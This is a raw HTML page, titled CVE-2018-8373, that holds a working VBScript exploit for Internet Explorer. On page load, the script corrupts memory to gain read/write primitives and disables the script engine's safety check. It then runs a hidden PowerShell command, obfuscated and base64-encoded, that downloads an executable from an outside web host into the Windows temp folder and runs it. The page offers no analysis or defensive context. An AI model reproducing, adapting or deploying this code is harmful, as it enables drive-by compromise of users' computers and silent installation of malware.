CVE-2018-8373

<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>
<body>
    <script type="text/vbscript">

	Dim max_col
	Dim index_vul
	Dim index_a
	Dim index_b
	Dim addr
	Dim array()
	Dim array2(0,6)
	Dim util_mem
	Dim fake_array
	Dim fake_str

	Class Dummy
        End Class

	Class ClassA
		private Sub Class_Initialize
			ReDim array(2)
			'IsEmpty(array)
		End Sub

		Public Default Property Get P
			ReDim Preserve array(100000)

			For i = 0 To UBound(array2,2)
                	array2(0,i) = 3
            		Next
			For i = 0 To UBound(array)
                	array(i) = array2
            		Next
		P=&h0fffffff
		End Property
	End Class

	Function rw_primit()
		array(index_vul)(index_a+2,0)=fake_array
		array(index_b)(0,2)=CDbl("1.740885"+"34731"+"324E-310")

		array(index_vul)(index_a,0)=fake_str
		array(index_b)(0,0)=CDbl("6.365"+"98737437"+"801E-314")

		util_mem=array(index_vul)(index_a,0)
	End Function

	Function read
		read=LenB(array(index_vul)(index_a+2,0)(util_mem+8))
	End Function

	Function GetUnlt32(addr)
		Dim value
		array(index_vul)(index_a+2,0)(util_mem+8)=addr +4
		array(index_vul)(index_a+2,0)(util_mem)=8
		value=read()
		array(index_vul)(index_a+2,0)(util_mem)=3
		GetUnlt32 = value
	End Function

	Set cls = New ClassA
	array(2)=cls

	IsEmpty(array)

	max_col=&h0fffffff


	For i=0 To UBound(array)
		If UBound(array(i),1)-LBound(array(i),1)+1=max_col Then
			index_vul=i
			Exit For
		End If
	Next


	For i=0 To UBound(array(index_vul),1)
		Dim type1 ,type2 ,type3 ,type4
		type1=VarType(array(index_vul)(i,0))
		type2=VarType(array(index_vul)(i+1,0))
		type3=VarType(array(index_vul)(i+3,0))
		type4=VarType(array(index_vul)(i+4,0))
		If(type1 = 2 And type2 = 2 And type3 = 3 And type4 = 3) Then
			index_a=i+3
			array(index_vul)(index_a,0)="AAAA"
			Exit For
		End If
	Next

	For i=0 To UBound(array,1)
		If array(i)(0,0)=8 Then
			index_b=i
			Exit For
		End If
	next


	Set dm = New Dummy
	Set array(index_vul)(index_a+4,0) = dm
	array(index_b)(0,4) = CDbl("6.3659"+"87374378"+"01E-314") '3
	addr=array(index_vul)(index_a+4,0)


	fake_array=Unescape("%u0001%u0"+"880%u000"+"1%u0000%u0"+"000%u0000%u000"+"0%u0000%uffff%u"+"7fff%u00"+"00%u0000")
	fake_str=Unescape("%u0000"+"%u0000%u"+"0000%u0000%u"+"0000%u0000"+"%u0000%"+"u0000")
	rw_primit()


	Dim psection
	psection = GetUnlt32(addr+&hc)
	dim a
	a=psection+4

	Dim p_C0leScript
	p_C0leScript=GetUnlt32(a)
	a=p_C0leScript+&h174
	array(index_vul)(index_a+2,0)(a-8)=0
	Set Object = CreateObject("Sh"+"ell.Appl"+"ication")
  Object.ShellExecute "powe"+"rshel"+"l.ex"+"e -Window"+"Style Hi"+"dden -encod"+"edCo"+"mmand ""KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AeQBzAHcAYwBkAC4AYwBvAG0ALwB2AG8AbAAvAHMAMQAuAGUAeABlACcALAAgACcAYwA6AC8AdwBpAG4AZABvAHcAcwAvAHQAZQBtAHAALwBhAHQAdQBtADIAbAAuAGUAeABlACcAKQA7AGMAOgAvAHcAaQBuAGQAbwB3AHMALwB0AGUAbQBwAC8AYQB0AHUAbQAyAGwALgBlAHgAZQA="""

    </script>
</body>
</html>